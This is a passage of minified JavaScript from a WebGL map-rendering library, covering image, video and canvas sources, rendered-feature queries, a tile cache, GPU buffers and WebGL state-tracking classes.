Re=this;this._loaded=!1,this.fire(new o.Event("dataloading",{dataType:"source"})),this.url=this.options.url,o.getImage(this.map._requestManager.transformRequest(this.url,o.ResourceType.Image),function(He,tt){Re._loaded=!0,He?Re.fire(new o.ErrorEvent(He)):tt&&(Re.image=tt,$&&(Re.coordinates=$),ve&&ve(),Re._finishLoading())})},H.prototype.loaded=function(){return this._loaded},H.prototype.updateImage=function($){var ve=this;return!this.image||!$.url?this:(this.options.url=$.url,this.load($.coordinates,function(){ve.texture=null}),this)},H.prototype._finishLoading=function(){this.map&&(this.setCoordinates(this.coordinates),this.fire(new o.Event("data",{dataType:"source",sourceDataType:"metadata"})))},H.prototype.onAdd=function($){this.map=$,this.load()},H.prototype.setCoordinates=function($){var ve=this;this.coordinates=$;var Re=$.map(o.MercatorCoordinate.fromLngLat);this.tileID=q(Re),this.minzoom=this.maxzoom=this.tileID.z;var He=Re.map(function(tt){return ve.tileID.getTilePoint(tt)._round()});return this._boundsArray=new o.StructArrayLayout4i8,this._boundsArray.emplaceBack(He[0].x,He[0].y,0,0),this._boundsArray.emplaceBack(He[1].x,He[1].y,o.EXTENT,0),this._boundsArray.emplaceBack(He[3].x,He[3].y,0,o.EXTENT),this._boundsArray.emplaceBack(He[2].x,He[2].y,o.EXTENT,o.EXTENT),this.boundsBuffer&&(this.boundsBuffer.destroy(),delete this.boundsBuffer),this.fire(new o.Event("data",{dataType:"source",sourceDataType:"content"})),this},H.prototype.prepare=function(){if(!(Object.keys(this.tiles).length===0||!this.image)){var $=this.map.painter.context,ve=$.gl;this.boundsBuffer||(this.boundsBuffer=$.createVertexBuffer(this._boundsArray,G.members)),this.boundsSegments||(this.boundsSegments=o.SegmentVector.simpleSegment(0,0,4,2)),this.texture||(this.texture=new o.Texture($,this.image,ve.RGBA),this.texture.bind(ve.LINEAR,ve.CLAMP_TO_EDGE));for(var Re in this.tiles){var He=this.tiles[Re];He.state!=="loaded"&&(He.state="loaded",He.texture=this.texture)}}},H.prototype.loadTile=function($,ve){this.tileID&&this.tileID.equals($.tileID.canonical)?(this.tiles[String($.tileID.wrap)]=$,$.buckets={},ve(null)):($.state="errored",ve(null))},H.prototype.serialize=function(){return{type:"image",url:this.options.url,coordinates:this.coordinates}},H.prototype.hasTransition=function(){return!1},H}(o.Evented);function q(ue){for(var H=1/0,he=1/0,$=-1/0,ve=-1/0,Re=0,He=ue;Re<He.length;Re+=1){var tt=He[Re];H=Math.min(H,tt.x),he=Math.min(he,tt.y),$=Math.max($,tt.x),ve=Math.max(ve,tt.y)}var ht=$-H,Dt=ve-he,Wt=Math.max(ht,Dt),ar=Math.max(0,Math.floor(-Math.log(Wt)/Math.LN2)),hr=Math.pow(2,ar);return new o.CanonicalTileID(ar,Math.floor((H+$)/2*hr),Math.floor((he+ve)/2*hr))}var ne=function(ue){function H(he,$,ve,Re){ue.call(this,he,$,ve,Re),this.roundZoom=!0,this.type="video",this.options=$}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.load=function(){var $=this;this._loaded=!1;var ve=this.options;this.urls=[];for(var Re=0,He=ve.urls;Re<He.length;Re+=1){var tt=He[Re];this.urls.push(this.map._requestManager.transformRequest(tt,o.ResourceType.Source).url)}o.getVideo(this.urls,function(ht,Dt){$._loaded=!0,ht?$.fire(new o.ErrorEvent(ht)):Dt&&($.video=Dt,$.video.loop=!0,$.video.addEventListener("playing",function(){$.map.triggerRepaint()}),$.map&&$.video.play(),$._finishLoading())})},H.prototype.pause=function(){this.video&&this.video.pause()},H.prototype.play=function(){this.video&&this.video.play()},H.prototype.seek=function($){if(this.video){var ve=this.video.seekable;$<ve.start(0)||$>ve.end(0)?this.fire(new o.ErrorEvent(new o.ValidationError("sources."+this.id,null,"Playback for this video can be set only between the "+ve.start(0)+" and "+ve.end(0)+"-second mark."))):this.video.currentTime=$}},H.prototype.getVideo=function(){return this.video},H.prototype.onAdd=function($){this.map||(this.map=$,this.load(),this.video&&(this.video.play(),this.setCoordinates(this.coordinates)))},H.prototype.prepare=function(){if(!(Object.keys(this.tiles).length===0||this.video.readyState<2)){var $=this.map.painter.context,ve=$.gl;this.boundsBuffer||(this.boundsBuffer=$.createVertexBuffer(this._boundsArray,G.members)),this.boundsSegments||(this.boundsSegments=o.SegmentVector.simpleSegment(0,0,4,2)),this.texture?this.video.paused||(this.texture.bind(ve.LINEAR,ve.CLAMP_TO_EDGE),ve.texSubImage2D(ve.TEXTURE_2D,0,0,0,ve.RGBA,ve.UNSIGNED_BYTE,this.video)):(this.texture=new o.Texture($,this.video,ve.RGBA),this.texture.bind(ve.LINEAR,ve.CLAMP_TO_EDGE));for(var Re in this.tiles){var He=this.tiles[Re];He.state!=="loaded"&&(He.state="loaded",He.texture=this.texture)}}},H.prototype.serialize=function(){return{type:"video",urls:this.urls,coordinates:this.coordinates}},H.prototype.hasTransition=function(){return this.video&&!this.video.paused},H}(J),fe=function(ue){function H(he,$,ve,Re){ue.call(this,he,$,ve,Re),$.coordinates?(!Array.isArray($.coordinates)||$.coordinates.length!==4||$.coordinates.some(function(He){return!Array.isArray(He)||He.length!==2||He.some(function(tt){return typeof tt!="number"})}))&&this.fire(new o.ErrorEvent(new o.ValidationError("sources."+he,null,'"coordinates" property must be an array of 4 longitude/latitude array pairs'))):this.fire(new o.ErrorEvent(new o.ValidationError("sources."+he,null,'missing required property "coordinates"'))),$.animate&&typeof $.animate!="boolean"&&this.fire(new o.ErrorEvent(new o.ValidationError("sources."+he,null,'optional "animate" property must be a boolean value'))),$.canvas?typeof $.canvas!="string"&&!($.canvas instanceof o.window.HTMLCanvasElement)&&this.fire(new o.ErrorEvent(new o.ValidationError("sources."+he,null,'"canvas" must be either a string representing the ID of the canvas element from which to read, or an HTMLCanvasElement instance'))):this.fire(new o.ErrorEvent(new o.ValidationError("sources."+he,null,'missing required property "canvas"'))),this.options=$,this.animate=$.animate!==void 0?$.animate:!0}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.load=function(){if(this._loaded=!0,this.canvas||(this.canvas=this.options.canvas instanceof o.window.HTMLCanvasElement?this.options.canvas:o.window.document.getElementById(this.options.canvas)),this.width=this.canvas.width,this.height=this.canvas.height,this._hasInvalidDimensions()){this.fire(new o.ErrorEvent(new Error("Canvas dimensions cannot be less than or equal to zero.")));return}this.play=function(){this._playing=!0,this.map.triggerRepaint()},this.pause=function(){this._playing&&(this.prepare(),this._playing=!1)},this._finishLoading()},H.prototype.getCanvas=function(){return this.canvas},H.prototype.onAdd=function($){this.map=$,this.load(),this.canvas&&this.animate&&this.play()},H.prototype.onRemove=function(){this.pause()},H.prototype.prepare=function(){var $=!1;if(this.canvas.width!==this.width&&(this.width=this.canvas.width,$=!0),this.canvas.height!==this.height&&(this.height=this.canvas.height,$=!0),!this._hasInvalidDimensions()&&Object.keys(this.tiles).length!==0){var ve=this.map.painter.context,Re=ve.gl;this.boundsBuffer||(this.boundsBuffer=ve.createVertexBuffer(this._boundsArray,G.members)),this.boundsSegments||(this.boundsSegments=o.SegmentVector.simpleSegment(0,0,4,2)),this.texture?($||this._playing)&&this.texture.update(this.canvas,{premultiply:!0}):this.texture=new o.Texture(ve,this.canvas,Re.RGBA,{premultiply:!0});for(var He in this.tiles){var tt=this.tiles[He];tt.state!=="loaded"&&(tt.state="loaded",tt.texture=this.texture)}}},H.prototype.serialize=function(){return{type:"canvas",coordinates:this.coordinates}},H.prototype.hasTransition=function(){return this._playing},H.prototype._hasInvalidDimensions=function(){for(var $=0,ve=[this.canvas.width,this.canvas.height];$<ve.length;$+=1){var Re=ve[$];if(isNaN(Re)||Re<=0)return!0}return!1},H}(J),X={vector:F,raster:O,"raster-dem":z,geojson:N,video:ne,image:J,canvas:fe},W=function(ue,H,he,$){var ve=new X[H.type](ue,H,he,$);if(ve.id!==ue)throw new Error("Expected Source id to be "+ue+" instead of "+ve.id);return o.bindAll(["load","abort","unload","serialize","prepare"],ve),ve},V=function(ue){return X[ue]},Y=function(ue,H){X[ue]=H};function Q(ue,H){var he=o.identity([]);return o.translate(he,he,[1,1,0]),o.scale(he,he,[ue.width*.5,ue.height*.5,1]),o.multiply(he,he,ue.calculatePosMatrix(H.toUnwrapped()))}function ie(ue,H,he){if(ue)for(var $=0,ve=ue;$<ve.length;$+=1){var Re=ve[$],He=H[Re];if(He&&He.source===he&&He.type==="fill-extrusion")return!0}else for(var tt in H){var ht=H[tt];if(ht.source===he&&ht.type==="fill-extrusion")return!0}return!1}function j(ue,H,he,$,ve,Re){var He=ie(ve&&ve.layers,H,ue.id),tt=Re.maxPitchScaleFactor(),ht=ue.tilesIn($,tt,He);ht.sort(re);for(var Dt=[],Wt=0,ar=ht;Wt<ar.length;Wt+=1){var hr=ar[Wt];Dt.push({wrappedTileID:hr.tileID.wrapped().key,queryResults:hr.tile.queryRenderedFeatures(H,he,ue._state,hr.queryGeometry,hr.cameraQueryGeometry,hr.scale,ve,Re,tt,Q(ue.transform,hr.tileID))})}var Er=le(Dt);for(var Fr in Er)Er[Fr].forEach(function(Or){var zr=Or.feature,Yr=ue.getFeatureState(zr.layer["source-layer"],zr.id);zr.source=zr.layer.source,zr.layer["source-layer"]&&(zr.sourceLayer=zr.layer["source-layer"]),zr.state=Yr});return Er}function K(ue,H,he,$,ve,Re,He){for(var tt={},ht=Re.queryRenderedSymbols($),Dt=[],Wt=0,ar=Object.keys(ht).map(Number);Wt<ar.length;Wt+=1){var hr=ar[Wt];Dt.push(He[hr])}Dt.sort(re);for(var Er=function(){var en=Or[Fr],xn=en.featureIndex.lookupSymbolFeatures(ht[en.bucketInstanceId],H,en.bucketIndex,en.sourceLayerIndex,ve.filter,ve.layers,ve.availableImages,ue);for(var Pn in xn){var Bn=tt[Pn]=tt[Pn]||[],Un=xn[Pn];Un.sort(function(ra,sa){var ha=en.featureSortOrder;if(ha){var Aa=ha.indexOf(ra.featureIndex),Da=ha.indexOf(sa.featureIndex);return Da-Aa}else return sa.featureIndex-ra.featureIndex});for(var Nn=0,jn=Un;Nn<jn.length;Nn+=1){var na=jn[Nn];Bn.push(na)}}},Fr=0,Or=Dt;Fr<Or.length;Fr+=1)Er();var zr=function(en){tt[en].forEach(function(xn){var Pn=xn.feature,Bn=ue[en],Un=he[Bn.source],Nn=Un.getFeatureState(Pn.layer["source-layer"],Pn.id);Pn.source=Pn.layer.source,Pn.layer["source-layer"]&&(Pn.sourceLayer=Pn.layer["source-layer"]),Pn.state=Nn})};for(var Yr in tt)zr(Yr);return tt}function oe(ue,H){for(var he=ue.getRenderableIds().map(function(ht){return ue.getTileByID(ht)}),$=[],ve={},Re=0;Re<he.length;Re++){var He=he[Re],tt=He.tileID.canonical.key;ve[tt]||(ve[tt]=!0,He.querySourceFeatures($,H))}return $}function re(ue,H){var he=ue.tileID,$=H.tileID;return he.overscaledZ-$.overscaledZ||he.canonical.y-$.canonical.y||he.wrap-$.wrap||he.canonical.x-$.canonical.x}function le(ue){for(var H={},he={},$=0,ve=ue;$<ve.length;$+=1){var Re=ve[$],He=Re.queryResults,tt=Re.wrappedTileID,ht=he[tt]=he[tt]||{};for(var Dt in He)for(var Wt=He[Dt],ar=ht[Dt]=ht[Dt]||{},hr=H[Dt]=H[Dt]||[],Er=0,Fr=Wt;Er<Fr.length;Er+=1){var Or=Fr[Er];ar[Or.featureIndex]||(ar[Or.featureIndex]=!0,hr.push(Or))}}return H}var pe=function(H,he){this.max=H,this.onRemove=he,this.reset()};pe.prototype.reset=function(){for(var H in this.data)for(var he=0,$=this.data[H];he<$.length;he+=1){var ve=$[he];ve.timeout&&clearTimeout(ve.timeout),this.onRemove(ve.value)}return this.data={},this.order=[],this},pe.prototype.add=function(H,he,$){var ve=this,Re=H.wrapped().key;this.data[Re]===void 0&&(this.data[Re]=[]);var He={value:he,timeout:void 0};if($!==void 0&&(He.timeout=setTimeout(function(){ve.remove(H,He)},$)),this.data[Re].push(He),this.order.push(Re),this.order.length>this.max){var tt=this._getAndRemoveByKey(this.order[0]);tt&&this.onRemove(tt)}return this},pe.prototype.has=function(H){return H.wrapped().key in this.data},pe.prototype.getAndRemove=function(H){return this.has(H)?this._getAndRemoveByKey(H.wrapped().key):null},pe.prototype._getAndRemoveByKey=function(H){var he=this.data[H].shift();return he.timeout&&clearTimeout(he.timeout),this.data[H].length===0&&delete this.data[H],this.order.splice(this.order.indexOf(H),1),he.value},pe.prototype.getByKey=function(H){var he=this.data[H];return he?he[0].value:null},pe.prototype.get=function(H){if(!this.has(H))return null;var he=this.data[H.wrapped().key][0];return he.value},pe.prototype.remove=function(H,he){if(!this.has(H))return this;var $=H.wrapped().key,ve=he===void 0?0:this.data[$].indexOf(he),Re=this.data[$][ve];return this.data[$].splice(ve,1),Re.timeout&&clearTimeout(Re.timeout),this.data[$].length===0&&delete this.data[$],this.onRemove(Re.value),this.order.splice(this.order.indexOf($),1),this},pe.prototype.setMaxSize=function(H){for(this.max=H;this.order.length>this.max;){var he=this._getAndRemoveByKey(this.order[0]);he&&this.onRemove(he)}return this},pe.prototype.filter=function(H){var he=[];for(var $ in this.data)for(var ve=0,Re=this.data[$];ve<Re.length;ve+=1){var He=Re[ve];H(He.value)||he.push(He)}for(var tt=0,ht=he;tt<ht.length;tt+=1){var Dt=ht[tt];this.remove(Dt.value.tileID,Dt)}};var we=function(H,he,$){this.context=H;var ve=H.gl;this.buffer=ve.createBuffer(),this.dynamicDraw=!!$,this.context.unbindVAO(),H.bindElementBuffer.set(this.buffer),ve.bufferData(ve.ELEMENT_ARRAY_BUFFER,he.arrayBuffer,this.dynamicDraw?ve.DYNAMIC_DRAW:ve.STATIC_DRAW),this.dynamicDraw||delete he.arrayBuffer};we.prototype.bind=function(){this.context.bindElementBuffer.set(this.buffer)},we.prototype.updateData=function(H){var he=this.context.gl;this.context.unbindVAO(),this.bind(),he.bufferSubData(he.ELEMENT_ARRAY_BUFFER,0,H.arrayBuffer)},we.prototype.destroy=function(){var H=this.context.gl;this.buffer&&(H.deleteBuffer(this.buffer),delete this.buffer)};var xe={Int8:"BYTE",Uint8:"UNSIGNED_BYTE",Int16:"SHORT",Uint16:"UNSIGNED_SHORT",Int32:"INT",Uint32:"UNSIGNED_INT",Float32:"FLOAT"},ke=function(H,he,$,ve){this.length=he.length,this.attributes=$,this.itemSize=he.bytesPerElement,this.dynamicDraw=ve,this.context=H;var Re=H.gl;this.buffer=Re.createBuffer(),H.bindVertexBuffer.set(this.buffer),Re.bufferData(Re.ARRAY_BUFFER,he.arrayBuffer,this.dynamicDraw?Re.DYNAMIC_DRAW:Re.STATIC_DRAW),this.dynamicDraw||delete he.arrayBuffer};ke.prototype.bind=function(){this.context.bindVertexBuffer.set(this.buffer)},ke.prototype.updateData=function(H){var he=this.context.gl;this.bind(),he.bufferSubData(he.ARRAY_BUFFER,0,H.arrayBuffer)},ke.prototype.enableAttributes=function(H,he){for(var $=0;$<this.attributes.length;$++){var ve=this.attributes[$],Re=he.attributes[ve.name];Re!==void 0&&H.enableVertexAttribArray(Re)}},ke.prototype.setVertexAttribPointers=function(H,he,$){for(var ve=0;ve<this.attributes.length;ve++){var Re=this.attributes[ve],He=he.attributes[Re.name];He!==void 0&&H.vertexAttribPointer(He,Re.components,H[xe[Re.type]],!1,this.itemSize,Re.offset+this.itemSize*($||0))}},ke.prototype.destroy=function(){var H=this.context.gl;this.buffer&&(H.deleteBuffer(this.buffer),delete this.buffer)};var _e=function(H){this.gl=H.gl,this.default=this.getDefault(),this.current=this.default,this.dirty=!1};_e.prototype.get=function(){return this.current},_e.prototype.set=function(H){},_e.prototype.getDefault=function(){return this.default},_e.prototype.setDefault=function(){this.set(this.default)};var be=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return o.Color.transparent},H.prototype.set=function($){var ve=this.current;$.r===ve.r&&$.g===ve.g&&$.b===ve.b&&$.a===ve.a&&!this.dirty||(this.gl.clearColor($.r,$.g,$.b,$.a),this.current=$,this.dirty=!1)},H}(_e),ge=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return 1},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.clearDepth($),this.current=$,this.dirty=!1)},H}(_e),Te=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return 0},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.clearStencil($),this.current=$,this.dirty=!1)},H}(_e),Fe=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return[!0,!0,!0,!0]},H.prototype.set=function($){var ve=this.current;$[0]===ve[0]&&$[1]===ve[1]&&$[2]===ve[2]&&$[3]===ve[3]&&!this.dirty||(this.gl.colorMask($[0],$[1],$[2],$[3]),this.current=$,this.dirty=!1)},H}(_e),Oe=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return!0},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.depthMask($),this.current=$,this.dirty=!1)},H}(_e),Ce=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return 255},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.stencilMask($),this.current=$,this.dirty=!1)},H}(_e),Be=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return{func:this.gl.ALWAYS,ref:0,mask:255}},H.prototype.set=function($){var ve=this.current;$.func===ve.func&&$.ref===ve.ref&&$.mask===ve.mask&&!this.dirty||(this.gl.stencilFunc($.func,$.ref,$.mask),this.current=$,this.dirty=!1)},H}(_e),$e=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){var $=this.gl;return[$.KEEP,$.KEEP,$.KEEP]},H.prototype.set=function($){var ve=this.current;$[0]===ve[0]&&$[1]===ve[1]&&$[2]===ve[2]&&!this.dirty||(this.gl.stencilOp($[0],$[1],$[2]),this.current=$,this.dirty=!1)},H}(_e),Xe=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return!1},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;$?ve.enable(ve.STENCIL_TEST):ve.disable(ve.STENCIL_TEST),this.current=$,this.dirty=!1}},H}(_e),Ze=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return[0,1]},H.prototype.set=function($){var ve=this.current;$[0]===ve[0]&&$[1]===ve[1]&&!this.dirty||(this.gl.depthRange($[0],$[1]),this.current=$,this.dirty=!1)},H}(_e),Ke=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return!1},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;$?ve.enable(ve.DEPTH_TEST):ve.disable(ve.DEPTH_TEST),this.current=$,this.dirty=!1}},H}(_e),st=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return this.gl.LESS},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.depthFunc($),this.current=$,this.dirty=!1)},H}(_e),lt=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return!1},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;$?ve.enable(ve.BLEND):ve.disable(ve.BLEND),this.current=$,this.dirty=!1}},H}(_e),ut=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){var $=this.gl;return[$.ONE,$.ZERO]},H.prototype.set=function($){var ve=this.current;$[0]===ve[0]&&$[1]===ve[1]&&!this.dirty||(this.gl.blendFunc($[0],$[1]),this.current=$,this.dirty=!1)},H}(_e),yt=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return o.Color.transparent},H.prototype.set=function($){var ve=this.current;$.r===ve.r&&$.g===ve.g&&$.b===ve.b&&$.a===ve.a&&!this.dirty||(this.gl.blendColor($.r,$.g,$.b,$.a),this.current=$,this.dirty=!1)},H}(_e),bt=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return this.gl.FUNC_ADD},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.blendEquation($),this.current=$,this.dirty=!1)},H}(_e),Ot=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return!1},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;$?ve.enable(ve.CULL_FACE):ve.disable(ve.CULL_FACE),this.current=$,this.dirty=!1}},H}(_e),Ge=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return this.gl.BACK},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.cullFace($),this.current=$,this.dirty=!1)},H}(_e),Le=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return this.gl.CCW},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.frontFace($),this.current=$,this.dirty=!1)},H}(_e),Pe=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.useProgram($),this.current=$,this.dirty=!1)},H}(_e),De=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return this.gl.TEXTURE0},H.prototype.set=function($){$===this.current&&!this.dirty||(this.gl.activeTexture($),this.current=$,this.dirty=!1)},H}(_e),Ee=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){var $=this.gl;return[0,0,$.drawingBufferWidth,$.drawingBufferHeight]},H.prototype.set=function($){var ve=this.current;$[0]===ve[0]&&$[1]===ve[1]&&$[2]===ve[2]&&$[3]===ve[3]&&!this.dirty||(this.gl.viewport($[0],$[1],$[2],$[3]),this.current=$,this.dirty=!1)},H}(_e),ye=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;ve.bindFramebuffer(ve.FRAMEBUFFER,$),this.current=$,this.dirty=!1}},H}(_e),ae=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;ve.bindRenderbuffer(ve.RENDERBUFFER,$),this.current=$,this.dirty=!1}},H}(_e),de=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;ve.bindTexture(ve.TEXTURE_2D,$),this.current=$,this.dirty=!1}},H}(_e),Me=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;ve.bindBuffer(ve.ARRAY_BUFFER,$),this.current=$,this.dirty=!1}},H}(_e),Ie=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H.prototype.set=function($){var ve=this.gl;ve.bindBuffer(ve.ELEMENT_ARRAY_BUFFER,$),this.current=$,this.dirty=!1},H}(_e),Qe=function(ue){function H(he){ue.call(this,he),this.vao=he.extVertexArrayObject}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H.prototype.set=function($){!this.vao||$===this.current&&!this.dirty||(this.vao.bindVertexArrayOES($),this.current=$,this.dirty=!1)},H}(_e),et=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return 4},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;ve.pixelStorei(ve.UNPACK_ALIGNMENT,$),this.current=$,this.dirty=!1}},H}(_e),pt=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return!1},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;ve.pixelStorei(ve.UNPACK_PREMULTIPLY_ALPHA_WEBGL,$),this.current=$,this.dirty=!1}},H}(_e),St=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return!1},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){var ve=this.gl;ve.pixelStorei(ve.UNPACK_FLIP_Y_WEBGL,$),this.current=$,this.dirty=!1}},H}(_e),_t=function(ue){function H(he,$){ue.call(this,he),this.context=he,this.parent=$}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getDefault=function(){return null},H}(_e),Ft=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.setDirty=function(){this.dirty=!0},H.prototype.set=function($){if(!($===this.current&&!this.dirty)){this.context.bindFramebuffer.set(this.parent);var ve=this.gl;ve.framebufferTexture2D(ve.FRAMEBUFFER,ve.COLOR_ATTACHMENT0,ve.TEXTURE_2D,$,0),this.current=$,this.dirty=!1}},H}(_t),Tt=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.set=function($){if(!($===this.current&&!this.dirty)){this.context.bindFramebuffer.set(this.parent);var ve=this.gl;ve.framebufferRenderbuffer(ve.FRAMEBUFFER,ve.DEPTH_ATTACHMENT,ve.RENDERBUFFER,$),this.current=$,this.dirty=!1}},H}(_t),Gt=function(H,he,$,ve){this.context=H,this.width=he,this.height=$;var Re=H.gl,He=this.framebuffer=Re.createFramebuffer();this.colorAttachment=new Ft(H,He),ve&&(this.depthAttachment=new Tt(H,He))};Gt.prototype.destroy=function(){var H=this.context.gl,he=this.colorAttachment.get();if(he&&H.deleteTexture(he),this.depthAttachment){var $=this.depthAttachment.get();$&&H.deleteRenderbuffer($)}H.deleteFramebuffer(this.framebuffer)};var er=519,Pr=function(H,he,$){this.func=H,this.mask=he,this.range=$};Pr.ReadOnly=!1,Pr.ReadWrite=!0,Pr.disabled=new Pr(er,Pr.ReadOnly,[0,1]);var ct=519,Vt=7680,Ut=function(H,he,$,ve,Re,He){this.test=H,this.ref=he,this.mask=$,this.fail=ve,this.depthFail=Re,this.pass=He};Ut.disabled=new Ut({func:ct,mask:0},0,0,Vt,Vt,Vt);var dr=0,sr=1,nt=771,rt=function(H,he,$){this.blendFunction=H,this.blendColor=he,this.mask=$};rt.Replace=[sr,dr],rt.disabled=new rt(rt.Replace,o.Color.transparent,[!1,!1,!1,!1]),rt.unblended=new rt(rt.Replace,o.Color.transparent,[!0,!0,!0,!0]),rt.alphaBlended=new rt([sr,nt],o.Color.transparent,[!0,!0,!0,!0]);var vt=1029,gt=2305,wt=function(H,he,$){this.enable=H,this.mode=he,this.frontFace=$};wt.disabled=new wt(!1,vt,gt),wt.backCCW=new wt(!0,vt,gt);var mt=function(H){this.gl=H,this.extVertexArrayObject=this.gl.getExtension("OES_vertex_array_object"),this.clearColor=new be(this),this.clearDepth=new 